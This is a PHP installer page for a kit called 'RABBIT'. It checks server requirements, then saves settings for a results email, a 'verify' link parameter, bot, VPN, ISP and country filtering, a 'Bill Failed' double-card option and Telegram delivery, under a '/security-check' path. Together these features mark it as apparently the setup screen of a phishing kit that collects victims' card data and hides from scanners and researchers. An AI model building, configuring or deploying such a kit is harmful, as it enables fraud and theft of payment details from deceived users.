<?php

session_start();
if (is_file('../RABBIT/Go/.settings.ini')) {
  header('Location: /security-check/panel/login');
  exit();
}
ini_set('max_execution_time', 300);
if (isset($_POST['gass'])) {
  $result              = $_POST["result"];
  $parameter           = $_POST["parameter"];
  $blockers            = $_POST["blockers"];
  $botblocker          = $_POST["botblocker"];
  $vpndetect           = $_POST["vpndetect"];
  $doublecard          = $_POST["doublecard"];
  $telegram            = $_POST["telegram"];
  $filterisp           = $_POST["filterisp"];
  $filtercountry       = $_POST["filtercountry"];


  if (empty($result && $parameter && $blockers && $botblocker && $vpndetect && $doublecard && $telegram && $filterisp && $filtercountry)) {
    $_SESSION["sukses"] = 'swal("Error", "Please input all fields.", "error");';
    $_SESSION['tampil'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }
  if (filter_var($result, FILTER_VALIDATE_EMAIL) === false) {
    $_SESSION["sukses"] = 'swal("Error", "Please Enter a Valid Email.", "error");';
    $_SESSION['tampil'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }

  $f = fopen("../RABBIT/Go/.settings.ini", "w");
  $R1 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $R2 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $R3 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $token = 'RABBIT-' . $R1 . '-' . $R2 . '-' . $R3 .'';
  $domain = 'https://' . $_SERVER['SERVER_NAME'];
  setcookie('token', $token, time() + (86400 * 30), "/");
  setcookie('panel', $domain . '/security-check/panel/login', time() + (86400 * 30), "/");
  setcookie('linksc', $domain . '/?' . $parameter, time() + (86400 * 30), "/");
  setcookie('copyright', '2025 All Right Reserved', time() + (86400 * 30), "/");
  fwrite($f, "TOKEN = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nBLOCKERS = \"$blockers\"\nBOTBOLOCKER = \"$botblocker\"\nVPNDETECT = \"$vpndetect\"\nFILTERISP = \"$filterisp\"\nFILTERCOUNTRY = \"$filtercountry\"\nDOUBLECARD = \"$doublecard\"\nTELEGRAM = \"$telegram\"\n");
  fclose($f);
  rename("data/rabbit.htaccess", "../.htaccess");
  $_SESSION["sukses"] = 'swal("success", "INSTALLATIONS SUCCESS", "success");';
  header('Location: /security-check/panel/finished');
  exit();
}
$phpversionsuccess = false;
$curlsuccess = false;
$displayerrorssuccess = false;
$zliboutputcompressionsuccess = false;
$timezonesuccess = false;
$phprequired = "7.4";
$phpversion = PHP_VERSION;
if (version_compare($phpversion, $phprequired) >= 0) {
  $phpversionsuccess = true;
}
if (function_exists("curl_version")) {
  $curlsuccess = true;
}
if (ini_get('display_errors')) {
  $displayerrorssuccess = true;
}
if (ini_get('zlib.output_compression')) {
  $zliboutputcompressionsuccess = true;
}
$timezonesettings = ini_get('date.timezone');
if ($timezonesettings) {
  $timezonesuccess = true;
}
if ($phpversionsuccess && $curlsuccess && $timezonesuccess && $displayerrorssuccess && $zliboutputcompressionsuccess) {
  $all_requirement_success = true;
} else {
  $all_requirement_success = false;
}
$writeable_directories = array(
  'RABBIT' => '/RABBIT',
  'RABBITGo' => '/RABBIT/Go'
);
foreach ($writeable_directories as $value) {
  if (!is_writeable(".." . $value)) {
    $all_requirement_success = false;
  }
}
$dashboardurl = $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$dashboardurl = preg_replace('/install.*/', '', $dashboardurl);
if (!empty($_SERVER['HTTPS'])) {
  $dashboardurl = 'https://' . $dashboardurl;
} else {
  $dashboardurl = 'http://' . $dashboardurl;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>RABBIT</title>
    <link rel="shortcut icon" href="../RABBIT/Gens/images/favicon.ico">
  <link href="https://fonts.googleapis.com/css?family=Poppins:400,600&display=swap" rel="stylesheet">
  <link href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css' rel='stylesheet'>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
  <link href="../RABBIT/Assets/css/rb.install.style.css" rel="stylesheet">
</head>

<body style="background-color: black;">
  <header class="header text-center mt-4">
  <img src="../RABBIT/Gens/images/logo-r.png" alt="rabbit" width="120">
    <h3 class="text-light mt-2">HELLO I'M RABBIT</h3>
  </header>
  <div class="content">
    <div class="content__inner">
      <div class="container overflow-hidden">
        <div class="multisteps-form">
          <div class="row">
            <div class="col-12 col-lg-8 ml-auto mr-auto mb-4">
            <div class="multisteps-form__progress text-center">
                <button style="border-radius:25px; border:2px solid white;" class="btn-transparent p-2 text-white js-active" title="Pre-Installation" disabled>REQUIREMENTS</button>
                <button style="border-radius:25px; border:2px solid white;" class="btn-transparent mr-2 ml-2 p-2 text-white <?php echo @$_SESSION['tampil'] ? $_SESSION['tampil'] : ''; ?><?php unset($_SESSION['tampil']); ?>" title="Configuration" disabled>CONFIGURATIONS</button>
                <button style="border-radius:25px; border:2px solid white;" class="btn-transparent p-2  text-white" title="Finished" disabled>COMPLETED</button>
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-12 col-lg-8 m-auto">
              <form action="" method="POST" class="multisteps-form__form">
                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['hide'] ? $_SESSION['hide'] : 'js-active'; ?><?php unset($_SESSION['hide']); ?>" data-animation="slideHorz">
                  <div class="multisteps-form__content">
                    <div class="form-row">
                      <div class="col">
                        <h5 class="text-white text-center" style="text-align:; font-family:calibri; font-weight:bolder; letter-spacing: 1px;" hidden>PHP INFO</h5>
                        <hr />
                        <table>
                          <thead class="text-center">
                            <tr>
                              <th class="text-white text-center">PHP</th>
                              <th class="text-white text-center">INSTALLED</th>
                              <th class="text-white text-center">REQUIREMENT</th>
                              <th class="text-white text-center">STATUS</th>
                            </tr>
                          </thead>
                          <tbody>
                            <tr>
                              <td class="text-info text-center">PHP Version</td>
                              <td class="text-white text-center"><?php echo $phpversion; ?></td>
                              <td class="text-white text-center"><?php echo $phprequired; ?>+</td>
                              <td>
                                <?php if ($phpversionsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col">
                        <h5 class="text-white text-center" style="text-align:; font-family:calibri; font-weight:bolder; letter-spacing: 1px;" hidden>Extenstions Requirement</h5>
                        <hr />
                        <table>
                          <thead>
                            <tr>
                              <th class="text-white text-center">PHP</th>
                              <th class="text-white text-center">INSTALLED</th>
                              <th class="text-white text-center">REQUIREMENT</th>
                              <th class="text-white text-center">STATUS</th>
                            </tr>
                          </thead>

                          <tbody>
                            <tr>
                              <td class="text-info text-center">cURL</td>
                              <td class="text-white text-center"> <?php if ($curlsuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-white text-center">On</td>
                              <td>
                                <?php if ($curlsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td class="text-info text-center">display_errors</td>
                              <td class="text-dark text-center"> <?php if ($displayerrorssuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-center">On</td>
                              <td>
                                <?php if ($displayerrorssuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td class="text-info text-center">zlib.output_compression</td>
                              <td class="text-white text-center"> <?php if ($zliboutputcompressionsuccess) { ?>
                                  On
                                <?php } else { ?>
                                  Off
                                <?php } ?>
                              </td>
                              <td class="text-white text-center">On</td>
                              <td>
                                <?php if ($zliboutputcompressionsuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td class="text-info text-center">date.timezone</td>
                              <td class="text-white text-center">
                                <?php
                                    if ($timezonesettings) {
                                      echo $timezonesettings;
                                    } else {
                                      echo "Null";
                                    } ?>
                              </td>
                              <td class="text-dark text-center">Timezone</td>
                              <td>
                                <?php if ($timezonesuccess) { ?>
                                  <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                <?php } else { ?>
                                  <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col">
                        <p><h5 class="text-white text-center" style="text-align:; font-family:calibri; font-weight:bolder; letter-spacing: 1px;" hidden>Permission Requirements </h5>
                        <hr />
                        <table>
                          <tbody>
                            <?php
                            foreach ($writeable_directories as $value) {
                            ?>
                              <tr>
                                <td class="text-info text-center"><?php echo $value; ?></td>
                                <td class="text-dark text-center">
                                  <?php if (is_writeable(".." . $value)) { ?>
                                    <p class="text-success text-center"><i class="fa fa-circle-check text-success"></i> READY</p>
                                  <?php
                                  } else {
                                    $all_requirement_success = false;
                                  ?>
                                   <p class="text-danger text-center"><i class="fa fa-circle-xmark text-danger"></i> NOT READY</p>
                                  <?php } ?>
                                </td>
                              </tr>
                            <?php
                            }
                            ?>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="button-row d-flex mt-4">
                    <button <?php
                              if (!$all_requirement_success) {
                                echo "disabled=disabled";
                              }
                              ?> style="border: 2px solid white; border-radius:30px;" class="btn btn-dark text-white d-block w-100 p-3 ml-auto js-btn-next" type="button" title="Next"> Continue</button>
                    </div>
                  </div>
                </div>
                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['tmp'] ? $_SESSION['tmp'] : 'hide'; ?><?php unset($_SESSION['tmp']); ?>" data-animation="slideHorz">
                  <div class="multisteps-form__content">
                    <div class="form-row mt-4">
                      <div class="col">
                        <label class="text-white"><i class="fa fa-envelope me-2"></i> Email</label>
                        <input class="multisteps-form__input form-control" type="text" name="result" placeholder="Enter Your Email" value="cs@rabbitofc.xyz"/>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col">
                        <label class="text-white"><i class="fa fa-globe me-2"></i> Parameter</label>
                        <input class="multisteps-form__input form-control" type="text" name="parameter" placeholder="Default" value="verify" />
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Blockers</label>
                        <select name="blockers" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Bot Blocker</label>
                        <select name="botblocker" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Block Vpn</label>
                        <select name="vpndetect" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Filter ISP</label>
                        <select name="filterisp" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Filter Country</label>
                        <select name="filtercountry" class="form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Bill Failed</label>
                        <select name="doublecard" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>
                    <div class="form-row mt-4">
                      <div class="col-6 col-sm-4 mt-4 mt-sm-0">
                        <label class="text-white"> Telegram</label>
                        <select name="telegram" class="multisteps-form__select form-control">
                          <option selected="selected" value="off">FALSE</option>
                          <option value="on">TRUE</option>
                        </select>
                      </div>
                    </div>
                    <div class="button-row d-flex mt-4">
                      <button style="border: 2px solid white; border-radius:30px;" class="btn btn-dark p-3 d-block w-100 text-white ml-auto" <?php
                                                              if (!$all_requirement_success) {
                                                                echo "disabled=disabled";
                                                              }
                                                              ?> name="gass" type="submit" title="Install"> SAVE AND CONTINUE</button>
                    </div>
                  </div>
                </div>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
  <script src="../RABBIT/Assets/js/rb.install.script.js"></script>
  <?php if (@$_SESSION['sukses']) { ?>
    <script>
      <?php echo $_SESSION['sukses']; ?>
    </script>
  <?php unset($_SESSION['sukses']);
  } ?>
</body>

</html>
